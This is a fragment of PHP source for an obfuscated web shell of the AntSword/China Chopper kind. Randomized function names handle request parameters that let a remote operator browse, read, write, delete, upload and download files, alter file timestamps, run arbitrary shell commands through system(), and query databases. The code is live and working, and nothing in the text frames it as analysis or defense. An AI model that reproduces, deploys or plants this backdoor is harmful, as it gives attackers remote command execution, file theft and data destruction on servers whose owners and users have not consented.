(.+?)<\/H>/i', $conf, $data)) {
$host = $data[1];
}
if (preg_match('/(.+?)<\/U>/i', $conf, $data)) {
$user = $data[1];
}
if (preg_match('/(.+?)<\/P>/i', $conf, $data)) {
$password = $data[1];
}
list($host, $port) = explode(":", $host);
$port == "" ? $port = "3306" : $port;
$conn = @mysqli_connect($host, $user, $password, "", $port);
$res = @mysqli_query($conn, $sql);
}
if (is_bool($res)) {
return "Status".$columnsep.$rowsep.($res?"True":"False").$columnsep.$rowsep;
}
$i=0;
if ($needcoluname) {
while ($col=@mysqli_fetch_field($res)) {
$jMY .= $col->name.$columnsep;
$i++;
}
$jMY .= $rowsep;
}
while($rs=@mysqli_fetch_row($res)){
for($c = 0; $c <= $i; $c++){
$jMY .= trim($rs[$c]).$columnsep;
}
$jMY.=$rowsep;
}
return $jMY;
}
function UyxNT(){
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D==""){
$D=dirname($_SERVER["PATH_TRANSLATED"]);
}
$R="{$D}\t";
if(substr($D,0,1)!="/"){
foreach(range("C","Z")as $L)
if(is_dir("{$L}:"))
$R.="{$L}:";
}else{
$R.="/";
}
$R.="\t";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.="\t{$s}";
return $R;
}
function zZAyg($D){
$jMY = "";
$F=@opendir($D);
if($F==NULL){
$jMY = "ERROR:// Path Not Found Or No Permission!";
}else{
$M=NULL;
$L=NULL;
while($N=@readdir($F)){
$P=$D."/".$N;
$T=@date("Y-m-d H:i:s",@filemtime($P));
@$E=substr(base_convert(@fileperms($P),10,8),-4);
$R="\t".$T."\t".@filesize($P)."\t".$E."\n";
if(@is_dir($P))
$M.=$N."/".$R;
else
$L.=$N.$R;
}
$jMY .= $M.$L;
@closedir($F);
}
return $jMY;
}
function EGqLy($F){
$jMY = "";
try {
$P = @fopen($F,"r");
$jMY = (@fread($P,filesize($F)));
@fclose($P);
} catch (Exception $e) {
$jMY = "ERROR://".$e;
}
return $jMY;
}
function zPAUm($path, $content){
return @fwrite(fopen(($path),"w"),($content))?"1":"0";
}
function AzPgj($fileOrDirPath){
function df($p){
$m=@dir($p);
while(@$f=$m->read()){
$pf=$p."/".$f;
if((is_dir($pf))&&($f!=".")&&($f!="..")){
@chmod($pf,0777);
df($pf);
}
if(is_file($pf)){
@chmod($pf,0777);
@unlink($pf);
}
}
$m->close();
@chmod($p,0777);
return @rmdir($p);
}
$F=(get_magic_quotes_gpc()?stripslashes($fileOrDirPath):$fileOrDirPath);
if(is_dir($F)){
return (df($F));
}
else{
return (file_exists($F)?@unlink($F)?"1":"0":"0");
}
}
function RyXCQ($filePath){
$F=(get_magic_quotes_gpc()?stripslashes($filePath):$filePath);
$fp=@fopen($F,"r");
if(@fgetc($fp)){
@fclose($fp);
@readfile($F);
}else{
echo("ERROR:// Can Not Read");
}
}
function kMSVF($path, $content){
$f=$path;
$c=$content;
$c=str_replace("\r","",$c);
$c=str_replace("\n","",$c);
$buf="";
for($i=0;$iread()){
$isrc=$src.chr(47).$f;
$idest=$dest.chr(47).$f;
if((is_dir($isrc))&&($f!=chr(46))&&($f!=chr(46).chr(46))){
if(!xcopy($isrc,$idest))return false;
}else if(is_file($isrc)){
if(!copy($isrc,$idest))
return false;
}
}
return true;
}
return (xcopy($fc,$fp)?"1":"0");
}
function dPSnK($oldName, $newName){
$m=get_magic_quotes_gpc();
$src=(m?stripslashes($oldName):$oldName);
$dst=(m?stripslashes($newName):$newName);
return (rename($src,$dst)?"1":"0");
}
function pJQiv($name){
$m=get_magic_quotes_gpc();
$f=($m?stripslashes($name):$name);
return (mkdir($f)?"1":"0");
}
function UiKyi($fileOrDirPath, $newTime){
$m=get_magic_quotes_gpc();
$FN=(m?stripslashes($fileOrDirPath):$fileOrDirPath);
$TM=strtotime((m?stripslashes($newTime):$newTime));
if(file_exists($FN)){
return (@touch($FN,$TM,$TM)?"1":"0");
}else{
return ("0");
}
}
function DnpeS($urlPath, $savePath){
$fR=$urlPath;
$fL=$savePath;
$F=@fopen($fR,chr(114));
$L=@fopen($fL,chr(119));
if($F && $L){
while(!feof($F))
@fwrite($L,@fgetc($F));
@fclose($F);
@fclose($L);
return "1";
}else{
return "0";
}
}
function yxAJj($cmdPath, $command){
$p=$cmdPath;
$s=$command;
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
$r="{$p} {$c}";
@system($r." 2>&1",$jMY);
return ($jMY!=0)?"ret={$jMY}":"";
}
function xNNLt(){
$jMY="";
$m=array(
'mysql_close','mysqli_close','mssql_close','sqlsrv_close','ora_close','oci_close',
'ifx_close','sqlite_close','pg_close','dba_close','dbmclose','filepro_fieldcount',
'sybase_close'
);
foreach ($m as $f) {
$jMY.=($f."\t".(function_exists($f)?'1':'0')."\n");
}
if(function_exists('pdo_drivers')){
foreach(@pdo_drivers() as $f){
$jMY.=("pdo_".$f."\t1\n");
}
}
return $jMY;
}
function CccKI($binarr){
$jMY="";
$arr=@explode(",", $binarr);
foreach($arr as $v){
$jMY.=($v."\t".(@file_exists($v)?"1":"0")."\n");
}
return $jMY;
}
function __construct(){
@set_time_limit(0);
$funccode = $this->gqKDx($_REQUEST["XH7Gl3"]);
$dik = $this->gqKDx($this->qRMvl($_REQUEST['z0']));
$pRE = $this->gqKDx($this->qRMvl($_REQUEST['z1']));
$PZi = $this->gqKDx($this->qRMvl($_REQUEST['z2']));
$YgV = $this->gqKDx($this->qRMvl($_REQUEST['z3']));
echo "-".">|";
$jMY = "";
try {
switch ($funccode) {
case 'A':
$jMY = $this->UyxNT();
break;
case 'B':
$jMY = $this->zZAyg($pRE);
break;
case 'C':
$jMY = $this->EGqLy($pRE);
break;
case 'D':
$jMY = $this->zPAUm($pRE, $PZi);
break;
case 'E':
$jMY = $this->AzPgj($pRE);
break;
case 'F':
$this->RyXCQ($pRE);
break;
case 'U':
$jMY = $this->kMSVF($pRE, $PZi);
break;
case 'H':
$jMY = $this->GAOjb($pRE, $PZi);
break;
case 'I':
$jMY = $this->dPSnK($pRE, $PZi);
break;
case 'J':
$jMY = $this->pJQiv($pRE);
break;
case 'K':
$jMY = $this->UiKyi($pRE, $PZi);
break;
case 'L':
$jMY = $this->DnpeS($pRE, $PZi);
break;
case 'M':
$jMY = $this->yxAJj($pRE, $PZi);
break;
case 'N':
$jMY = $this->vIXLG($dik, $pRE);
break;
case 'O':
$jMY = $this->LOdcd($dik, $pRE, $PZi);
break;
case 'P':
$jMY = $this->SqVQG($dik, $pRE, $PZi, $YgV);
break;
case 'Q':
$jMY = $this->chEFk($dik, $pRE, $PZi);
break;
case 'Y':
$jMY = $this->CccKI($pRE);
break;
case 'Z':
$jMY = $this->xNNLt();
break;
default:
break;
}
} catch (Exception $e) {
$jMY = "ERROR://".$e;
}
echo $jMY;
echo "|<"."-";
}
} if(!empty($_REQUEST["XH7Gl3"]))new yozG();